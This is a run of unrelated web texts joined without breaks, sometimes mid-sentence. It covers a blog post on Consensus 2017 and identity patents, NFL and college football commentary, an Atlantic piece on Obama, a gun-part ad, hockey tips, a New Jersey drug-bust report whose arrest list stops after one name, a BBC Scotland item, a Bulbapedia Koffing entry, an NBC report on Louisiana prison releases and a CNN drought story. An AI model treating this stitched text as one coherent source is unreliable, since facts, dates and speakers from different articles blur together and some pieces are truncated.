“We must prevent against Identity theft. The simplest way is with a legal system that allows a person to show up at a court and scan their iris and to verify their ownership of a HUID (human unique identifier) in the case of a dispute. If not, the ownership is transferred back to the correct owner through a flag...”
To me, patenting that is the equivalent of patenting SSL.
It’s so clearly necessary as a basic concept to decentralized identity that nobody should try to get exclusive rights to it or they risk destroying the ability to create any system that actually works without paying them a royalty which means the DecNet is screwed.
To be clear, I don’t know their intentions. They could be absolutely altruistic. They could simply be trying to get defensive patents that they would donate to a GPL licensed trust in the DIF but I don’t think that’s their goal. I will follow up to clarify with them.
But make no mistake, patents are the enemy of the next-gen of the net. The infrastructure has to be open source, patent free and agnostic. It’s as simple as that. Sadly I’m not sure we live in that world anymore. The Internet was created in a simpler time.
I’m not against patents in general. They’re absolutely necessary for people who create ideas that matter but in this case I see them as a highly destructive whirlwind gathering out to sea that can obliterate any number of projects in the works.
Worst of all, I talked to a number of folks out there piling up patents.
That breaks my heart because it could wind up absolutely killing this industry before it ever gets off the ground.
Imagine if every open source project starts getting a knock on their door asking for money every time someone conducts a transaction on the blockchain or connects a phone peer to peer?
Again that’s not a world any of us should want to see come to pass.
Conclusion
Consensus 2017 delivered a lot of innovation and a lot of noise. Sifting the two requires patience and an open mind. I have no doubt that I missed countless gold nugget technologies at the conference. There’s just too much to see and do for any one person.
If you spotted a killer technology in the crowd, post about it in the comments. Please try to keep it civil though. You never know which project is going to break out and deliver the system that we so desperately need even if it’s in an imperfect state now.
These are still early days. Coins are baked but the economy to spend them in is still developing and it will take years to come to fruition.
A lawyer from Australia who specializes in blockchain law said it best:
“I want to see something that’s done and working, not a prototype.”
I get it.
We’re just not there yet.
That’s because nobody has fully developed a working, production ready version of the decentralized Internet. There are lots of contenders but nobody ready to take the title and get their names enshrined forever in the hallowed pages of Wikipedia as the founders of Internet 2.0.
But that day is coming soon.
And maybe, just maybe, someone at that conference is already working on it.
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A bit about me: I’m an author, engineer and serial entrepreneur. During the last two decades, I’ve covered a broad range of tech from Linux to virtualization and containers.
You can check out my latest novel, an epic Chinese sci-fi civil war saga where China throws off the chains of communism and becomes the world’s first direct democracy, running a highly advanced, artificially intelligent decentralized app platform with no leaders.
You can get a FREE copy of my first novel, The Scorpion Game, when you join my Readers Group. Readers have called it “the first serious competition to Neuromancer” and“Detective noir meets Johnny Mnemonic.”
You can also check out the Cicada open source project based on ideas from the book that outlines how to make that tech a reality right now and you can get in on the alpha.
Lastly, you can join my private Facebook group, the Nanopunk Posthuman Assassins, where we discuss all things tech, sci-fi, fantasy and more.Sorry, Rams fans. But it’s true.
With the Vikings’ stadium effort officially at the one-yard line with first down and goal and a five-man defense facing a 20-man offense, a new team must slide to the top of the “most likely to land in L.A.” list.
And it’s the Rams.
The biggest concern for folks in St. Louis should be the not-so-subtle sense of ambivalence that the Rams are projecting regarding the question of whether they stay where they are or move to L.A. or move to Toronto or move to even London.
Speaking of London, the team has justified its desire to play one home game per year there for the next three seasons by pointing to the possibility that the exposure will make the Rams a national franchise. Though the connection between the two may not be as clear as the Rams think or hope it will be, a move to the No. 2 market in the U.S.A. would be much more likely to thrust the Rams into the small group of franchises that transcend the town and state in which they play.
None of this means the Rams will move. But given the current posture of their lease at the Edward Jones Dome and the strong possibility of an upgrade impasse that will allow them to walk away in 2015, the Rams are the team to watch — unless and until they work out a new deal to stay in an improved venue in St. Louis.
For more commentary destined to depress folks in Missouri, here’s a slice of Thursday’s PFT Live.“My government will respect fully the domestic electoral process in the United States,” Peña Nieto said. He neither rescinded nor repeated his comparison of Trump to the World War II-era fascists, instead warning more generally about “political actors using populism and demagoguery.”
Both Peña Nieto and Trudeau were pointedly trying observe the diplomatic tradition of not taking a public position on elections inside another country, even if their statements in other venues have made it obvious they are rooting for Hillary Clinton. And although he has endorsed Clinton, Obama criticized Trump only implicitly as he defended America’s tradition of welcoming immigrants and the trade agreements Trump has trashed on the campaign trail.
But at the very end of the press conference, Obama dropped the facade. He took issue with a reporter who referred to Trump’s “populism” in a question to the other leaders about his appeal to voters opposed to trade agreements like NAFTA and Obama’s Trans-Pacific Partnership. “I’m not prepared to concede the notion that some of the rhetoric that’s been popping up is populist,” he said. (Obama still wouldn’t use Trump’s name, but it was apparent that the president was talking about him.) He contrasted his own record of supporting policies to reduce income inequality with the record of “somebody else who has never shown any regard for workers, has never fought on behalf of social-justice issues.”
They don’t suddenly become a populist because they suddenly say something controversial in order to win votes. That’s not the measure populism. That’s nativism. Or xenophobia. Or worse. Or it’s just cynicism.
Obama singled out Bernie Sanders as someone who “I genuinely feel deserves the title” of a populist, “because he’s been in the vineyards fighting.” And although he’s not on the ballot this year, the president was adamant about his own populist credentials. He brought up the auto bailout he presided over early in his tenure, a move that he said was not popular “even in Michigan” at the time. “Maybe that was an elitist move on my part because it didn’t poll well,” Obama said.
Then he turned back to Trump. “Somebody who labels ‘us versus them’ or engages in rhetoric about how we’re going to look after ourselves, take it to the other guy, that’s not the definition of populism,” the president said.
When he was done, Obama realized he had perhaps gone on a bit too long, hijacking a press conference devoted to energy and climate issues and aimed at highlighting the close relationship among the three nations of the continent. “Sorry,” the president said. “This is one of the prerogatives when you get to the end of your term. You go on the occasional rant.”
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.Aero Precision Gen 2 Enhanced M-LOK Handguards are now available! Changes include the addition of quick disconnect sling sockets, enhanced milling design for grip and visual appeal and a new profile for the picatinny top rail.
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But as much as it's changed the way I watch hockey, it's also changed the way I play hockey.
Beer-league players will know this feeling: With every deke, every spin move, and every between-the-legs pass we see on TV, there's a little bit of sadness because we can't pull it off ourselves. So the next time we go out to the rink, we try to copy the pros and... fail. And even when we do manage to pull off those dirty dangles, we quickly realise they aren't all that helpful in actual game situations.
This is even worse for beginners. I have a lot of beginners on my team, and in Germany, “beginner” means someone who's actually never played hockey before, not someone who grew up skating but hasn't played in an organised league. Like more advanced players, they all came to the sport because they watched professionals and thought it was exciting. So, to no-one's surprise, they also want to learn how to dangle and have a heavy slap shot before anything else.
Instead, let's take a look at three things recreational hockey players—beginners or advanced—can easily copy from NHL stars. More importantly, these simple things will also elevate your game.
1. Use your eyes
Let's play a little game. Here's a clip from a game between the Toronto Maple Leafs and the Los Angeles Kings. There is one especially simple thing a player does that beer-league players frequently forget to do. Watch the sequence and guess what I mean.
Many things happen simultaneously in that clip, but the important one is what Drew Doughty does without the puck. Most beer-leaguers in Doughty's situation would care about just one thing after Nikita Zaitsev's pass attempt: Getting to the puck first. They will skate as quickly as they can and lock their eyes on the black rubber disk. And when they're there—well, f*ck.
What many don't realise is that defenders in his situation usually have a lot of time. Enough time to look over your right shoulder, then over your left. Scan the ice, know where the pressure is, and know where your teammates are.
There is a forechecker behind Doughty, so he chooses to skate around the net. Auston Matthews comes in to pressure from the weak side, but Doughty knows that his centre is swinging around in front of the net, giving him options for the breakout. From there, it's an easy pass despite being pressured from behind the net.
Whether you skate like Connor McDavid or John Scott's ungifted brother, a quick look over both shoulders will allow you to break out of the D-zone like Doughty.
2. Forget what they tell you about positions
Newbies on my team often complain because they don't know where to be on the ice and when, and different people tell them different things. So they often just stick to their exact position. For example, a left winger will just move straight up and down the ice along the boards. Whatever you do, don't do that. (Sticking to positions actually makes a lot of sense on defence, but we'll get to that.)
Implementing systems in beer-league teams can be difficult to impossible, especially with beginners. But there are things you can do individually that make scoring easier for everyone. Like this:
In this sequence, the Senators play the simplest of defensive systems. The defencemen and wingers build a box, and only the player closest to the puck applies pressure. The centre hovers around the centre of the box, closing the gap left by the player who pressures. This is the easiest way to play defence, but it's also very effective and therefore exactly what you want to be doing on the average beer-league team. So far, so good.
Eventually, Mark Stone gets control of the puck and skates it out into the neutral zone. Now what?
What I see often in beer league is this: The right winger sticks to the right side, the centre goes to the net, and the left winger sticks to the left wing. It sounds easy, so that's what they tell beginners to do. But, again, don't do that—forget everything they told you.
There has been a shift in how coaches design offensive plays, whether it's a simple rush and quick shot or a more complicated, set play. Instead of thinking in positions, start thinking about who gets to the offensive zone first. The first forward there becomes F1, the second becomes F2, and the third becomes F3. Easy, right?
Now, in the sequence above, Stone plays the puck to the left wing. The puck-carrier skates into the offensive zone and becomes F1, followed by Stone, who becomes F2. Centre Kyle Turris follows last, making him F3.
From there, you can follow a very easy rule: F2 takes the direct route to the net and F3 supports the puck-carrier. That way, F2 forces the defence to communicate and coordinate their coverage—which is extremely difficult for most recreational players—and the goalie needs to keep an eye on them as well. F1 can, depending on the situation, fire a shot at the net, play a pass to the front of the net, or, like in the Ottawa Senators sequence, make use of the supporting player.
Why should you follow this rule if your teammates don't do the same? Because no matter if you're F2 or F3, the puck-carrier will appreciate you being in the right place at the right time. And if everything goes well, that will lead to more goals for you and your teammates.
3. Get moving
Okay, so you drive to the net but your team can't capitalise on the scoring chance. You're still standing in front of the net and think “I'll just wait here to get a pass, so I can score a tip-in.” That's a solid idea, but no matter your skill level, you can do better. Let Vancouver Canucks forward Markus Granlund show you how:
I often see rec-hockey players getting open perfectly in front of the net. But when they don't get the pass, they'll stay there and battle a defenceman to stay in position. Now watch what Granlund does. He gets wide open in the slot and scores an easy goal, without even touching a defender at any point during the sequence.
Granlund does an excellent job moving back and forth in a circle to avoid coverage and get open again and again. Once you settle in in front of the goaltender, you'll get punished by defencemen—in any league—and it will be extremely difficult for passes to find you. Instead, try to lose your coverage by moving out of the slot when the passing option isn't there, and back in when a teammate has it behind the net.
Granlund does this perfectly here, which stood out even at the NHL level.
And it's so simple.Thirty-six people in New Jersey have been charged in a major drug-trafficking bust called "Operation Snow Bank," netting members of the MS-13 gang, that has been targeted by President Trump, according to the state police.
The targets were three rival drug trafficking organizations, including five alleged MS-13 gang members. Police seized more than 1.5 kilograms of cocaine, more than two ounces of heroin, marijuana and more than $35,000 cash, according to a state police release.
MS-13 is an international crime gang that has been around for 30 years but has raised fears recently because of its growing presence in suburbs. Members are characterized by tattoos covering the body and also often the face. Trump has called for adding 10,000 new ICE officers to stop them.
The eight-month cooperative investigation in New Jersey began in December of 2016 and targeted cocaine trafficking organizations operating largely in Plainfield.
Detectives allege that the three rival drug trafficking networks were headed by Andres Hernandez-Diaz, 46; Julian Mirambeaux-Olivarez, 46; and Manuel Castillo-Concepcion, 37, all of Plainfield, the release said.
Hernandez-Diaz allegedly coordinated cocaine distribution from the Bronx. Members of the trafficking network would use an apartment in New York City to prepare and package cocaine specifically for distribution, which at one time resulted in more than 2,000 grams distributed in one month, the release said.
On July 11, the New Jersey State Police Trafficking Central Unit and U.S. HSI members received information that David Zapata-Gaitan, 34, of Plainfield, an alleged member of MS-13 and member of the Hernandez-Diaz network, would be trafficking cocaine from Plainfield to Stafford County, Virginia, the release said.
With assistance from HSI and the Stafford County Sheriff's Office, Zapata-Gaitan, along with Luis Camino, 35, of Elizabeth, and Maribel Zamudio, 27, of North Plainfield, were arrested, and half of a kilogram of cocaine was seized, the release said.
Mirambeaux-Olivarez allegedly operated his network using "runners" for distribution. During the investigation, detectives seized more than 900 grams of cocaine from the Mirambeaux-Olivarez network as well as more than 50 grams of raw heroin and fictitious documents such as driver's licenses and social security cards, the release said.
Detectives allege that Castillo-Concepcion operated his network day and night largely out of a residence on Arlington Avenue in Plainfield, which distributed more 2,200 grams of cocaine in a one-month stretch.
On Friday, July 21, Monday, July 24, and Thursday, July 27, police executed search warrants at various locations. As a result, detectives arrested 36 people and seized drugs and cash.
Here is the list of people arrested:
Julian Mirambeuax-Olivarez, 46, Plainfield
|
It said focus groups in Glasgow, Edinburgh, Kirkcaldy and Nairn, which were shown the proposals, declared "a strong interest in a UK perspective on UK and international stories".
It added: "Support for a Scottish Six was muted and, at the very least, it is recognised that BBC Scotland would have to address perceived quality issues first".
It said the two new-look bulletins "would clearly be a risk to audience numbers".
One senior insider defended the move, saying: "This is a package that would create 60 top quality jobs in journalism but the NUJ is whingeing.
"They should be singing from the rooftops."
A BBC spokesman said: "We’ve said very publicly that we’re conducting a news review at present and we’ll be looking at various different programme formats and carrying out audience research as part of that process.
"We have told our news teams that we will be carrying out some non-broadcast pilots and we’ll obviously talk to staff as we proceed with this work and discuss fully any implications on them.
"No decisions on our future output will be taken until that work is concluded but ultimately our aim is to deliver the very best news offer for our audiences here in Scotland."From Bulbapedia, the community-driven Pokémon encyclopedia.
Koffing (Japanese: ドガース Dogars) is a Poison-type Pokémon introduced in Generation I.
It evolves into Weezing starting at level 35.
Biology
Koffing is a spherical Pokémon filled with toxic gases. It has vacant eyes and a wide mouth that usually has two pointed teeth in the upper jaw. However, a full set of teeth has been seen in the anime. Below its face is a cream-colored skull-and-crossbones marking. Several geyser-like protrusions, which usually release a mustard-colored gas, cover this Pokémon’s body. Its purple skin is very thin, and over inflation can cause it to explode.
Koffing creates gases within its body by mixing toxins with garbage, and produces more gas in higher temperatures. These gases are malodorous and cause sniffles, coughs, and teary eyes to those around it. The gases are also lighter than air, allowing Koffing to hover. When agitated, it creates a more toxic gas and expels it through the holes in its body. As shown in the anime, Koffing's gas can be ignited by fire or electricity. Koffing is most often found in urban areas.
In the anime
In the main series
Major appearances
Koffing debuted in Pokémon Emergency! as James's Pokémon. It evolved into Weezing during Dig Those Diglett!.
Other
Rico had captured a bunch of Koffing in A Poached Ego! along with a bunch of Ekans which Team Rocket were able to free. Team Rocket released their Weezing and Arbok to protect them.
A Koffing appeared in PK15. It was one of the residents of a spooky house.
In Tag! We're It...!, Dawn and Conway battled against a Trainer named Giant, who used a Koffing, alongside his partner, who used a Scyther. The Koffing had several powerful attacks like Sludge Bomb, Thunderbolt, and Gyro Ball, but Conway's Slowking and Dawn's Piplup were able to defeat it.
A Koffing appeared in Rocking the Virbank Gym! Part 1, under the ownership of Roxie. It proved to be a strong opponent in her Gym battle against Ash, managing to defeat Boldore and Unfezant before being defeated by Leavanny's combination of String Shot and Energy Ball.
Minor appearances
A Koffing appeared in The Ultimate Test.
A Koffing appeared in Pikachu's Vacation as one of the Pokémon seen at the Pokémon Theme Park.
A Koffing appeared in the Japanese credits of Pikachu's Rescue Adventure.
A Koffing made a brief cameo in Destiny Deoxys.
A Coordinator's Koffing appeared in Hi Ho Silver Wind!.
A Coordinator's Koffing appeared in What I Did for Love!.
A Koffing appeared in New Plot, Odd Lot!, under the ownership of a Coordinator competing in the Mulberry Contest.
A Coordinator's Koffing appeared in May, We Harley Drew'd Ya!.
A Koffing appeared in Getting the Pre-Contest Titters!, under the ownership of a Coordinator participating in the Floaroma Contest. It reappeared briefly in the next episode, where it was seen competing in the Contest.
A Koffing appeared in All Dressed Up With Somewhere To Go!, where it was seen in the Pokémon Dress-Up Contest as a Togepi.
A Koffing made a brief cameo in Giratina and the Sky Warrior.
A Koffing appeared in I Choose You!, where it was among the Pokémon that were under the control of Marshadow.
A Koffing appeared in a fantasy in Now You See Them, Now You Don't!.
Two Trainers' Koffing appeared in The Power of Us.
Pokédex entries
Episode Pokémon Source Entry BW083 Koffing Ash's Pokédex Koffing, the Poison Gas Pokémon. Koffing hovers in the air, thanks to the poisonous gases it contains, which have a foul odor and can explode. This concludes the entries from the Best Wishes series.
In Pokémon Origins
A Koffing appeared in File 2: Cubone under the ownership of a Team Rocket Grunt. It fought against Red's Jolteon and lost.
In Pokémon Generations
A Koffing appeared in a flashback in The Legacy, under the ownership of a Team Rocket Grunt. It was used to help Team Rocket invade the Goldenrod Radio Tower.
In the manga
In the Pokémon Adventures manga
Koffing is seen as one of Koga's Pokémon alongside his evolution, which he first appeared in Striking Golduck. When Koga and Blue are ambushed by Agatha's Gengar in Gimme Shellder, Koga uses Koffing's smoke to relay his tactical plan to Blue without Gengar noticing.
In Dealing With A Koffing Fit, Petrel, one of the Rocket Executives, attacked Silver and Eusine using the horrible odor induced by his many Koffing.
A Koffing appeared in a flashback in Flabébé Blooms.
A Koffing appeared in Omega Alpha Adventure 8, under the ownership of a Team Magma Grunt.
In the Pokémon Pocket Monsters manga
Koga uses a Koffing in Save The Chansey! in order to stop Red from getting to the Chansey.
Green's Koffing appeared in The Pokémon Banana League (Part 2).
Giovanni's Koffing appeared in Squirtle, the Crybaby Pokémon.
In the TCG
Other appearances
When released from a Poké Ball, Koffing will initiate a Poison Gas attack which will pummel an opponent. Koffing did not return in Super Smash Bros. Melee and was replaced by its evolution, Weezing.
Koffing appears in the 3DS version as an enemy in Smash Run. Its Poison Gas will reduce player's stats.
It later reappears in Smash Tour, an exclusive mode for Wii U version. In this mode, Koffing will release Smokescreen, which will obscure player's view as well as a board for one turn.
Trophy information
3DS: This Poison-type Pokémon's balloon-like body is filled with toxic gases. In Smash Run, it floats over to fighters and expels gas at regular intervals. If the gas touches you, the stats you've worked so hard to build up will drop! Attack while it's deflated to take it down safely, and then help yourself to the many, many items it leaves behind.
Wii U: A Poison-type Pokémon that looks somewhat like a blown-up balloon. As you might be able to guess, though, it's not filled with fresh air - that's poison gas, and this Pokémon isn't shy about sharing. In Smash Tour, the gas it spews will hide spaces and any items that may be on them. The smoke should disappear by the end of the turn.
Game data
NPC appearances
Pokédex entries
Generation I Red Because it stores several kinds of toxic gases in its body, it is prone to exploding without warning. Blue Yellow In hot places, its internal gases could expand and explode without any warning. Be very careful! Stadium A Pokémon that is like a thin-skinned balloon filled with a highly toxic gas. Known to occasionally explode. Generation II Gold Its thin, flimsy body is filled with gases that cause constant sniffles, coughs and teary eyes. Silver The poisonous gases it contains are a little bit lighter than air, keeping it slightly airborne. Crystal If one gets close enough to it when it expels poisonous gas, the gas swirling inside it can be seen. Stadium 2 Its thin, flimsy body is filled with gases that cause constant sniffles, coughs and teary eyes. Generation III Ruby If Koffing becomes agitated, it raises the toxicity of its internal gases and then jets them out from all over its body. This Pokémon may overinflate its round body, then explode. Sapphire Koffing embodies toxic substances. It mixes the toxins with raw garbage to set off a chemical reaction that results in a terribly powerful Poison Gas. The higher the temperature, the more gas is concocted by this Pokémon. Emerald Getting up close to a Koffing will give you a chance to observe, through its thin skin, the toxic gases swirling inside. It blows up at the slightest stimulation. FireRed Its thin, balloon-like body is inflated by horribly toxic gases. It reeks when it is nearby. LeafGreen Because it stores several kinds of toxic gases in its body, it is prone to exploding without warning. Generation IV Diamond Lighter-than-air gases in its body keep it aloft. The gases not only smell, they are also explosive. Pearl Platinum HeartGold Its thin, flimsy body is filled with gases that cause constant sniffles, coughs and teary eyes. SoulSilver The poisonous gases it contains are a little bit lighter than air, keeping it slightly airborne. Generation V Black Lighter-than-air gases in its body keep it aloft. The gases not only smell, they are also explosive. White Black 2 Toxic gas is held within its thin, balloon-shaped body, so it can cause massive explosions. White 2 Generation VI X Its thin, balloon-like body is inflated by horribly toxic gases. It reeks when it is nearby. Y Lighter-than-air gases in its body keep it aloft. The gases not only smell, they are also explosive. Omega Ruby If Koffing becomes agitated, it raises the toxicity of its internal gases and then jets them out from all over its body. This Pokémon may also overinflate its round body, then explode. Alpha Sapphire Koffing embodies toxic substances. It mixes the toxins with raw garbage to set off a chemical reaction that results in a terribly powerful Poison Gas. The higher the temperature, the more gas is concocted by this Pokémon. Generation VII Let's Go Pikachu In hot places, its internal gases could expand and explode without any warning. Be very careful! Let's Go Eevee
Game locations
In side games
Held items
Stats
Base stats
Stat Range At Lv. 50 At Lv. 100 HP : 40 100 - 147 190 - 284 Attack : 65 63 - 128 121 - 251 Defense : 95 90 - 161 175 - 317 Sp.Atk : 60 58 - 123 112 - 240 Sp.Def : 45 45 - 106 85 - 207 Speed : 35 36 - 95 67 - 185 Total: 340 Other Pokémon with this total Minimum stats are calculated with 0 EVs, IVs of 0, and a hindering nature, if applicable.
Maximum stats are calculated with 252 EVs, IVs of 31, and a helpful nature, if applicable.
This Pokémon's Special base stat in Generation I was 60.
Pokéathlon stats
Type effectiveness
Learnset
Side game data
Evolution
Sprites
Trivia
Origin
Considering its looks, its ability to float, and its tendency to explode, it may have been based upon a floating naval mine or living meteorite. It is also based on smog and other forms of air pollution. Koffing may also be based on the imagined fear that heavy pollution, caused by the leakage and/or improper disposal of toxic and/or radioactive waste, may result in the creation of new and undesirable life forms. The crossbone skull under its face is a reference to the toxic hazard symbol.
Name origin
Koffing is a corruption of coughing.
Dogars is a combination of 獰 dō (bad) or 毒 doku (poisonous) and gas.
In other languages
Language Title Meaning Japanese ドガース Dogars From 獰 dō or 毒 doku and gas French Smogo From the English word smog Spanish Koffing Same as English name German Smogon From Smog and poison Italian Koffing Same as English name Korean 또가스 Ttogas Transliteration of its Japanese name, replacing do as 또 ddo Cantonese Chinese 毒氣丸 Duhkheiyún Literally "Toxic gas ball" Mandarin Chinese 瓦斯彈 / 瓦斯弹 Wǎsīdàn Literally "Gas bomb" More languages Hindi कॉफ्फिंग Koffing Transcription of English name Russian Коффинг Koffing Transcription of English name
Related articles
NotesBedlam was absolutely bananas Saturday, and the two high-profile quarterbacks certainly didn't disappoint. Mason Rudolph had a good, not great game, as his turnovers played a big factor in the Cowboys losing to their rivals at home.
However, Rudolph flashed all the quarterbacking nuances that have allowed him to stay at the No. 1 spot all season to this point.
In September, the Oklahoma State signal-caller had a huge lead in these rankings. Not anymore. He's had a few uncharacteristic hiccups in each of the last three games mixed in with the occasional highlight-reel throws.
Here's a look at the updated stocks of the draft's top signal-caller prospects.
Stock Steady
Rudolph was hit or miss against Oklahoma. He lofted a few pinpoint deep balls and rocketed a handful of out routes from the far hash but also delivered some underthrown downfield passes and tossed a bad interception in the end zone. Rudolph operates a spread system in which receivers have plenty of space to operate, and James Washington and Marcell Ateman are serious NFL prospects. I also think his shoulder isn't 100 percent. Concerns regarding Rudolph have grown over the past month -- like sometimes shoddy footwork that has led to floated passes -- but I just like his pocket movement and overall accuracy to all levels of the field.
Mason Rudolph threw a costly pick in the end zone in a loss to the rival Sooners. USATSI
Stock Steady
Jackson and Louisville were off last week, and I have a feeling he's going to end the season on a high note. He has two home games against Virginia and Syracuse before a season finale at Kentucky. Jackson is nipping the heels of Rudolph for the No. 1 quarterback spot.
3. Sam Darnold, USC
Stock Up Slightly
Darnold did just enough against Arizona to sneak ahead of Josh Rosen for the the time being. His second-quarter touchdown pass to Steven Mitchell Jr. was next-level awesome -- he held the safeties by looking down the seam before unleashing a laser to the back right corner of the end zone -- and his improvisational skills were on display often, as usual. But there were the usual overthrows to wide open receivers, and an interception in which he simply didn't see a defender in the end zone. Really, it was what has become the typical Darnold game this season.
4. Josh Rosen, UCLA
Stock Steady
Rosen didn't play this weekend -- UCLA's next game is at home against Arizona State before the enormous clash with Darnold and the Trojans on November 18. The junior quarterback is likely not healthy at this point, so the bye week came at the perfect time. Also, the Bruins need to find a way to protect him better down the stretch.
Stock Steady
Finley began the game with 15 straight completions, which embodies his game. He's a rhythm passer who'd work well in a no-huddle offense. And while many of those throws against Clemson were quick throws against zone and off coverage, he sprinkled in some deep shots down the sideline and ripped some seam passes. One interception was a bad read on a slant and the other came on what was essentially a jump ball situation at the end of the game. This was the second consecutive game in which Finley's statistics didn't leap off the page, but he performed well as a pocket passer. He even added some long runs on read-option plays.
Stock Up Slightly
Mayfield and Rudolph had games that mirrored each other in Bedlam. Mayfield had his usual downfield and sideline strikes, threw a really bad interception and was sacked five times, the latter showcasing his worst pocket awareness outing of the season. A large chunk of his 598 yards came after the catch, and while Mayfield set up his pass-catchers to accumulate yards after the catch, the majority of those explosive plays were simply displays of superior athleticism by Oklahoma's skill-position players. Mayfield certainly didn't have a bad game, though. His touch downfield was impressive.
The Rockets' senior quarterback completed 23 of 31 passes for 361 yards in the win over Northern Illinois on Saturday. After completing 69.1 percent of his throws at 9.88 yards per attempt with 45 touchdowns and 11 interceptions in 2016, the 6-foot-2, 210-pounder is connecting on 64.3 percent of his passes at 10.1 yards per attempt with 19 touchdowns and just two picks on the season. Toledo runs a Big 12-ish spread attack, but Woodside has been exceptional operating it over the past two years. He has a nice delivery and quality arm with reliable accuracy. He's a dark horse quarterback prospect.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 25, 2017, 11:11 AM GMT / Updated Nov. 25, 2017, 11:11 AM GMT By Jon Schuppe
Freedom came five months early for Jerome White, and he reminds himself every morning not to spoil that gift.
White, who pleaded guilty in 2014 to vehicular homicide, was one of nearly 2,000 Louisiana prisoners whose sentences were cut short when lawmakers enacted a sweeping set of criminal justice reforms aimed at accelerating a drop in the number of people behind bars. All were set free at once on Nov 1., an unprecedented act of mercy in a tough-on-crime state that prompted warnings of unrehabilitated criminals preying on the public and sapping public resources.
“There are so many people who said, ‘They’re letting them out and they’re just going to go back,’ and I refuse to let that happen,” White said recently.
The release of inmates like White is one piece in an aggressive push to change the way Louisiana thinks about criminal justice, shrink its prison budget and earn a new reputation that once seemed implausible: as a leader in the nationwide effort to dismantle the machinery of mass incarceration.
A sweeping set of reforms is expected to cut Louisiana's prison population another 10 percent over the next decade, and save billions of dollars. NBC News
Sometime in the next few weeks or months, Louisiana's prison population will drop low enough to allow the state to shed the label of having America’s highest incarceration rate. Dropping to No. 2, or lower — Oklahoma, whose prison population is expected to keep growing, is in the second spot, and Mississippi is third — will become a bragging point for many officials, a sign that even the most punishment-reliant states can change their ways.
Other conservative states in the South, including Texas and South Carolina, have already shrunk prison populations while also cutting crime.
Related: Republican states make the case against Trump’s drug policy
"The fact that Louisiana has the highest incarceration rate in the nation and a reputation for being tough as nails and has decided to take another direction sends a powerful message to its neighbors and states across the country," said Adam Gelb, director of The Pew Charitable Trusts' public safety performance project, which helped Louisiana craft the reforms.
But the state's new direction has also exposed one of the most overlooked aspects of criminal justice reform: helping ex-offenders find the things they need to rebuild their lives ─ meaningful work, affordable housing, and proper health care.
The Nov. 1 releases inundated Louisiana’s small network of social-service organizations that assist returning prisoners, forcing them and state parole officials into triage mode. Advocates say the experience may force Louisiana to improve its re-entry efforts, which will be integral to the state’s goal to make reductions in the prison population — and the millions of dollars it is expected to save ─ permanent.
"It gave us a sense of urgency, with the sheer amount of people getting out at one time, but it was also an opportunity to fine tune how we do our work," said James Logan, re-entry services program manager for the city of New Orleans.
Inmates prepared for jobs after their release from the Louisiana State Penitentiary in Angola. Gerald Herbert / AP file
The reforms include a mandate to spend 70 percent of what the state saves on its prison budget — estimated at $262 million over 10 years — on programs to reduce recidivism.
But the savings has to materialize first.
"It's not as though on Nov. 1 we also opened up a brand new affordable housing complex or someone came up with hundreds of new jobs," said Kelly Orians, staff attorney for The First 72+, a New Orleans organization that helps returning prisoners find jobs and places to live.
Related: Can an algorithm do away with America’s bail system?
The package of 10 reform measures, signed by Gov. John Bel Edwards in June, lowered mandatory minimum sentences for certain crimes, expanded alternatives to prison and made it easier for nonviolent offenders to earn "good time release."
While Louisiana's prison population has been gradually decreasing for several years, analysts predicted that the new laws would make that drop steady and long-lasting. The numbers will decline by 10 percent — from 35,682 to about 32,814 over the next decade, they said.
A big chunk of that reduction came immediately, thanks to provisions that allowed many of the changes to be applied retroactively, making hundreds of prisoners instantly eligible for freedom. State officials scrambled to determine who would be set free. In some parishes, including Orleans, where New Orleans is located, private re-entry groups partnered with parole officials to track those arriving home. But they didn't know exactly who'd be showing up — or what exactly they needed — until the last minute.
In the end, 1,952 inmates convicted of nonviolent crimes were sent home on Nov. 1, a massive one-time push that's in addition to the 1,500 or so that get released in a typical month, according to the state Department of Corrections. The early releases will continue for several months, but in much smaller batches.
A bipartisan group of lawmakers surround Louisiana Gov. John Bel Edwards as he signs 10 criminal justice bills into law during a ceremony in Baton Rouge, La. R.J. Rico / AP file
About 80 percent of them arrived from local parish jails, where the state Department of Corrections houses thousands of inmates as part of a years-old arrangement that avoids the construction of new prisons. Those local lockups don't have nearly the same rehabilitative programs as state prisons, which made the re-entry effort even more challenging.
Most were only set free a few weeks or months early, but they became a target of critics, including many prosecutors, who warned they included habitual or violent criminals.
There has already been a highly publicized account of one newly released prisoner charged with armed robbery. Law enforcement officials have shared stories of others getting in trouble.
Statistically, it is unavoidable that some of them will commit new crimes. But the state hasn't done all it should to prevent it, said Dennis Schrantz, director of the Center for Justice Innovation, which works with parishes to assist returning prisoners.
"This is a call to arms for folks who supported this politically to say, 'Look, now that we support it, and the laws are changed, we need to step up and help these men and women because they're out early and they're not as prepared as they could have been,'" Schrantz said.
East Baton Rouge District Attorney Hillar Moore, whose parish became home for 145 newly freed prisoners on Nov. 1, said he objected to the early releases only because the men and women wouldn't be prepared to succeed. He's trying to come up with his own re-entry program. "It's easy to say you want justice reform and get down to No. 2," he said. "We're not proud or happy about the number of people we have in prison. But if you're going to have true justice reform, that means helping people so that they won't re-offend."
Department of Corrections spokeswoman Natalie LaBorde said there was little more the state could have done. The agency says there are plans to improve re-entry plans in the local lockups. "The reality is for us in Louisiana that we don't have hundreds of millions to reinvest. So that has to come from the savings," she said.
White considers himself lucky. Returning to New Orleans, where he once worked as a nurse, White, 32, was steered into part-time work at Catholic Charities. He is living in an apartment with his fiancee, has reconnected with his five young children, and is pursuing his dream of becoming a standup comic.
Jerome White during a stand-up routine in New Orleans. Jerome White / Facebook
Every day, he said, he encourages himself to prove the critics wrong. And he keeps in mind the 48-year-old man he killed while driving drunk. "What I'm doing now is for him, too," White said.
"I can't take back what happened," White added. "I'll never know if his family forgives me, but the best thing I can do is be here in the moment, take care of my kids and do good."EGU VILLAGE, Ethiopia (CNN) -- A year of drought and soaring food prices has threatened the lives of tens of thousands of Ethiopian children.
Tens of thousands of Ethiopian children are facing a severe risk of famine.
"We have nothing to feed our children," said Egu's village elder. "We are losing our children day by day."
Ethiopia's Health Ministry, along with UNICEF, monitors the health of thousands of children here, but the number of areas they have been able to regularly visit has been cut in half this year.
The small rains that normally allow Ethiopian farmers to plant a second crop each year did not come this year, adding to a critical food shortage.
"It's an open crisis, and there are more people than we expected, than the government expected, who need additional food," said Bjorn Ljungqvist, head of UNICEF Ethiopia.
